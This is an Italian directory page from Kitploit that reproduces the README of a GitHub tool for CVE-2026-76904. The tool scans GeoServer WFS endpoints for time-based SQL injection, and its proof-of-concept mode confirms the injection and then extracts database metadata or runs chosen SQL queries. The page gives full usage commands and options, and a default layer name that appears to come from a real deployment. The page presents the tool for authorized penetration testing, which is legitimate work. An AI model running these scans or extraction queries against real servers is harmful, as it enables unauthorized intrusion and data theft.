Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/bickzero93/cve-2026-76904
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

Script Python per inventariare gli endpoint WFS di GeoServer e verificare vulnerabilità di SQL injection basate sul tempo in PostGIS/GeoTools, con una modalità PoC dedicata per test autorizzati.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GeoServer WFS Inventario e verifica autorizzata

Questo repository contiene due script Python per l'analisi degli endpoint WFS di GeoServer.

Panoramica

wfs_inventory.py

Scopo: Inventariare layer, campi XSD e valori WFS, nonché verificare opzionalmente i candidati tramite un controllo basato sul tempo.

Esempi di esecuzione:

root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

Scopo: Punto di ingresso combinato per l'inventario e una modalità PoC separata.

Esempi di esecuzione:

root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

Nota importante: Il controllo basato sul tempo e la modalità PoC devono essere utilizzati solo contro sistemi per i quali esiste un'autorizzazione esplicita al test. La normale modalità di inventario utilizza esclusivamente operazioni WFS regolari.

Prerequisiti

  • Python 3.10 o successivo
  • Nessun pacchetto Python aggiuntivo; entrambi gli script utilizzano solo la libreria standard
  • Accesso di rete all'endpoint WFS

Rendere opzionalmente eseguibili:

root@kitploit:~
chmod +x wfs_inventory.py geoserver_sqli_working.py

Avvio rapido

Cercare candidati tramite query WFS regolari

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

Il percorso predefinito /geoserver/wfs viene aggiunto automaticamente. Le seguenti indicazioni sono quindi equivalenti:

root@kitploit:~
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

In caso di installazione diversa, è necessario specificare il percorso WFS completo.

Verificare i candidati con un controllo basato sul tempo

Solo per sistemi esplicitamente autorizzati:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

Durante il controllo, per ogni candidato appare una misurazione su stderr:

root@kitploit:~
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

Un screen superato non è ancora un esito positivo. Solo se anche la seconda misurazione, più lunga, viene superata, viene emesso un blocco di parametri.

Scrivere la diagnosi in un file

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE attiva automaticamente la diagnosi dettagliata e la scrive nel file specificato.

Flusso della modalità automatica

La modalità predefinita auto elabora le informazioni WFS in questo ordine:

  1. GetCapabilities viene aperto una volta:

    root@kitploit:~
    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. La risposta XML viene trasmessa in streaming. Non appena viene trovato un FeatureType/Name, il successivo typeName è determinato.

  3. Per questo layer viene eseguito immediatamente DescribeFeatureType con version=2.0.0.

  4. Lo script estrae gli elementi XSD e seleziona i campi stringa/JSON con nomi simili a ID o numerici.

  5. Il candidato viene verificato a seconda della chiamata:

    • Senza --sleep: i valori campione devono essere JSON sintatticamente valido.
    • Con --sleep N: vengono misurate una richiesta di controllo e una richiesta di verifica basata sul tempo. Il controllo del valore JSON viene saltato.
  6. Il risultato viene emesso immediatamente e flushato.

  7. Solo successivamente viene letto il successivo typeName dalla risposta GetCapabilities in corso.

In questo modo non è necessario elaborare completamente una grande risposta GetCapabilities prima che appaia il primo risultato.

Criteri per i candidati di campo

Senza --sleep, la modalità automatica considera per impostazione predefinita i campi stringa/JSON con nomi simili a ID o numerici.

Con --sleep, --candidate-scope auto utilizza invece tutti i semplici campi non geometrici. Il tipo XSD e il pattern del nome ID non bloccano più il controllo temporale. Ciò previene falsi negativi per tipi XSD numerici, data/booleani o specifici del produttore.

I pattern di nome riconosciuti includono:

root@kitploit:~
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

Nel controllo basato sul tempo, il nome del campo deve inoltre essere un semplice identificatore nel formato [A-Za-z_][A-Za-z0-9_]*.

Differenza tra controllo JSON e controllo sleep

Senza --sleep, viene verificato se i valori osservati possono essere interpretati sintatticamente come JSON. Pertanto, ad esempio, anche la stringa "383205" è considerata un candidato, perché il suo contenuto rappresenta un numero JSON valido. Questo controllo è un'euristica e non una prova di vulnerabilità.

Con --sleep 1, decide esclusivamente la misurazione del tempo. Un candidato è considerato positivo per impostazione predefinita se la richiesta di verifica richiede almeno il 70 percento in più del tempo di sleep richiesto rispetto alla richiesta di controllo. --timing-result-type auto verifica prima resultType=hits e, in caso di risultato negativo, successivamente resultType=results.

Le misurazioni provvisoriamente positive vengono obbligatoriamente confermate con un tempo di sleep più lungo. Senza un --confirm-sleep esplicito, lo script utilizza max(3, --sleep * 3), limitato a 10 secondi. In questo modo un singolo picco di latenza con --sleep 1 non porta più a vulnerable=true.

Output compatto

L'output standard contiene un blocco per ogni layer valido:

root@kitploit:~
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN contiene l'endpoint WFS normalizzato e i valori appropriati per --typename e --field_name.

--valid-fields N conta i blocchi di layer, non i singoli campi. Se esistono meno di N layer validi, il catalogo rimanente viene ulteriormente esaminato. Con --max-layers è possibile limitare il tempo di esecuzione massimo.

Diagnosi dettagliata

Le opzioni --diagnose o --valid-diagnose FILE aggiungono tra l'altro:

  • endpoint WFS normalizzato,
  • URL GetCapabilities utilizzata,
  • URL DescribeFeatureType,
  • tipi di campo XSD,
  • marcatori ID e di utilizzabilità,
  • numero di campioni verificati,
  • compatibilità JSON o valori di misurazione temporale,
  • URL GetFeature generata e
  • stringhe di parametri copiabili.

Esempio:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

Ulteriori modalità di inventario

Elencare tutti i layer

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

Limitare a un namespace:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

Visualizzare i campi XSD di un layer

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

Ogni campo viene emesso come oggetto JSON con nome, tipo XSD, nillable, id_candidate e usable_property.

Esportare i valori dei campi selezionati

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

Esportare tutte le proprietà:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100

Con --unique, le combinazioni identiche di valori di campo selezionati vengono emesse una sola volta.

Parametri di wfs_inventory.py

ParametroPredefinitoSignificato
--url URLobbligatorioHost, base GeoServer o endpoint WFS completo
--mode auto|layers|fields|valuesautoModalità operativa da eseguire
--layer NAMESPACE:LAYER–Limitare la modalità automatica a un feature type; obbligatorio per fields e values
--namespace PREFIX–Considerare solo i layer con questo prefisso di namespace
--capabilities-file FILE–Utilizzare una risposta GetCapabilities locale invece di un download
--field NAMEripetibileProprietà da esportare in modalità values
--all-propertiesdisattivatoEsportare tutte le proprietà in modalità values
--uniquedisattivatoSopprimere combinazioni duplicate di valori di campo
--page-size N500Feature per pagina GetFeature; intervallo da 1 a 5000
--sample-size N5Valori campione per layer per il controllo della sintassi JSON; intervallo da 1 a 100
--sleep SECONDS0Attivare la verifica basata sul tempo; consentiti 0 o da 1 a 10 secondi
--candidate-scope auto|id|allautoSelezione dei candidati; auto utilizza senza sleep i campi ID e con sleep tutti i campi non geometrici
--timing-result-type auto|hits|resultsautoPercorso di query del controllo temporale; auto prova hits, poi results
--sleep-threshold RATIO

Punto di ingresso combinato

geoserver_sqli_working.py può chiamare direttamente la funzione di inventario. Non appena viene specificato --valid-fields, viene eseguito esclusivamente l'inventario e il programma termina successivamente.

Inventario tramite lo script combinato

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

Internamente vengono passati i seguenti parametri a wfs_inventory.py:

root@kitploit:~
--target         -> --url
--valid-fields   -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep          -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep

Senza un --sleep esplicito, il controllo basato sul tempo rimane disattivato in modalità inventario.

Modalità PoC separata

Solo per sistemi di test esplicitamente autorizzati:

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST/geoserver/wfs \
  --typename namespace:layer \
  --field_name FIELD \
  --sleep 5

In modalità PoC, il percorso di destinazione non viene normalizzato automaticamente. Qui dovrebbe essere specificato l'endpoint WFS completo.

La modalità esegue prima un test baseline/sleep, testa successivamente le varianti oracle basate sul tempo presenti e, in caso di conferma riuscita, legge per impostazione predefinita i metadati del server/database. Con --query è invece possibile specificare una propria query scalare.

La modalità PoC disattiva attualmente internamente la verifica del certificato TLS. Per un semplice inventario, è preferibile utilizzare wfs_inventory.py, poiché lì TLS viene verificato per impostazione predefinita.

Parametri di geoserver_sqli_working.py

ParametroPredefinitoSignificato
--target URLobbligatorioHost di destinazione o endpoint WFS; in modalità PoC utilizzare il percorso WFS completo
--typename NAMEfink_bku:fink_meta_mitte_suedwestFeature type per la modalità PoC
--field_name NAMEobbligatorio in modalità PoCNome campo XSD semplice per jsonArrayContains
--field-name NAMEAliasAlias per --field_name
--valid-fields N–Attivare la modalità inventario e fermarsi dopo N layer validi
--valid-diagnose FILE–Scrivere il report di inventario dettagliato in FILE; richiede --valid-fields
--sleep SECONDSPoC: 5, inventario: disattivatoDurata dello sleep della rispettiva modalità
--candidate-scope auto|id|allautoSelezione dei candidati in modalità inventario
--timing-result-type auto|hits|resultsautoPercorso di query temporale in modalità inventario
--sleep-threshold RATIO0.7Soglia temporale in modalità inventario
--confirm-sleep SECONDSautomaticoSleep di conferma in modalità inventario
--query SQL–Query scalare personalizzata in modalità PoC
--debugdisattivatoMostrare condizioni, tempi di esecuzione e decisioni in modalità PoC

Report JSONL

La modalità automatica può generare JSON Lines invece di blocchi di testo:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --report-format jsonl \
  --output report.jsonl

Con --diagnose, ogni record contiene inoltre URL, metadati dei candidati, valori di verifica e URL GetFeature specifici del campo.

Proxy e TLS

Utilizzare un proxy:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --valid-fields 4

Fidarsi di una CA proxy personalizzata:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --proxy-ca proxy-ca.pem \
  --valid-fields 4

Disattivare la verifica TLS per un sistema di test autorizzato:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --insecure \
  --valid-fields 4

--proxy-ca e --insecure non possono essere utilizzati insieme.

Grandi cataloghi WFS e prestazioni

Per risposte GetCapabilities di grandi dimensioni, le seguenti opzioni aiutano:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --max-layers 100 \
  --sample-size 1 \
  --timeout 10 \
  --retries 0 \
  --delay 0

Note:

  • GetCapabilities viene richiesto una sola volta e successivamente trasmesso in streaming.
  • --valid-fields 4 termina la scansione solo dopo quattro layer validi. Se esistono meno risultati, la ricerca continua fino alla fine o fino a --max-layers.
  • --sample-size 1 riduce il costo dell'euristica JSON.
  • In modalità sleep, il campione JSON viene saltato. Per ogni percorso di query vengono eseguite una richiesta di controllo e una di verifica. Con --timing-result-type auto, dopo un risultato hits negativo vengono eseguite inoltre due richieste results.
  • Un candidato provvisoriamente positivo causa due ulteriori richieste per la conferma scalata. Solo successivamente è considerato vulnerabile.
  • --candidate-scope id riduce il numero di richieste temporali, ma può tralasciare campi vulnerabili con altri nomi.
  • --namespace e --start-layer-index possono limitare ulteriormente lo spazio di ricerca.

Risoluzione dei problemi

The read operation timed out

  • Aumentare --timeout se il server risponde lentamente.
  • Impostare --retries 0 per evitare lunghi tentativi.
  • Utilizzare --max-layers e --namespace.
  • Per l'euristica JSON, utilizzare --sample-size 1.

Nessun output

  • Senza --sleep, i candidati devono superare il controllo XSD/nome e il controllo della sintassi JSON a seconda di --candidate-scope.
  • Con --sleep, vengono emessi come blocco di parametri solo i candidati confermati temporalmente; le misurazioni negative appaiono come [sleep-check] su stderr.
  • Se esistono meno risultati del numero desiderato, la scansione può continuare a lungo. In questo caso, impostare --max-layers.

Cannot do natural order without a primary key

Per la prima pagina GetFeature, lo script non invia startIndex=0, poiché alcuni layer GeoServer/JDBC senza chiave primaria impongono già un ordinamento naturale. Durante l'esportazione di ulteriori pagine, un tale layer può comunque richiedere una chiave primaria o un ordinamento supportato lato server.

schema does not define ...Type

Lo script considera sia il consueto <LayerName>Type sia un complexType diverso, referenziato nell'elemento layer XSD globale o anonimo. Se l'errore persiste, la risposta DescribeFeatureType interessata dovrebbe essere verificata con --diagnose.

HTTP 400 durante il controllo dei campioni

Il messaggio di errore OWS completo viene emesso su stderr. Le cause comuni sono proprietà non supportate, impostazioni di paging lato server o una configurazione dell'origine dati specifica del layer.

Aiuto direttamente nel terminale

root@kitploit:~
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
Scarica lo strumento
0.7
Percentuale richiesta del tempo di sleep; intervallo da 0.5 a 1.0
--confirm-sleep SECONDS0/automaticoSleep di conferma; 0 utilizza almeno 3× il primo tempo di sleep, intervallo da 1 a 10
--start-layer-index N0Saltare i primi N layer trasmessi in streaming
--max-layers N0Elaborare al massimo N layer; 0 significa illimitato
--valid-fields N0Fermarsi dopo N blocchi di layer validi; 0 significa illimitato
--valid NAliasAlias retrocompatibile per --valid-fields
--max-features N0Fermarsi dopo N feature in modalità values; 0 significa illimitato
--format jsonl|csv|textjsonlFormato di output in modalità values
--output FILEstdoutScrivere report o valori in un file
--report-format blocks|jsonlblocksFormato del report automatico
--diagnosedisattivatoAggiungere URL, tipi, flag di selezione e statistiche di verifica
--valid-diagnose FILE–Attivare la diagnosi e scrivere direttamente in FILE
--delay SECONDS0.1Pausa tra i passaggi di risultato/verifica
--timeout SECONDS30Timeout per richiesta HTTP
--retries N2Tentativi dopo timeout o errore di rete; intervallo da 0 a 10
--proxy URL–Proxy HTTP(S), ad esempio http://127.0.0.1:8080
--proxy-ca FILE–Certificato CA PEM per fidarsi di un certificato proxy
--insecuredisattivatoDisattivare la verifica del certificato TLS
--authorization TEXTI_AM_AUTHORIZEDConferma di sicurezza; deve essere esattamente I_AM_AUTHORIZED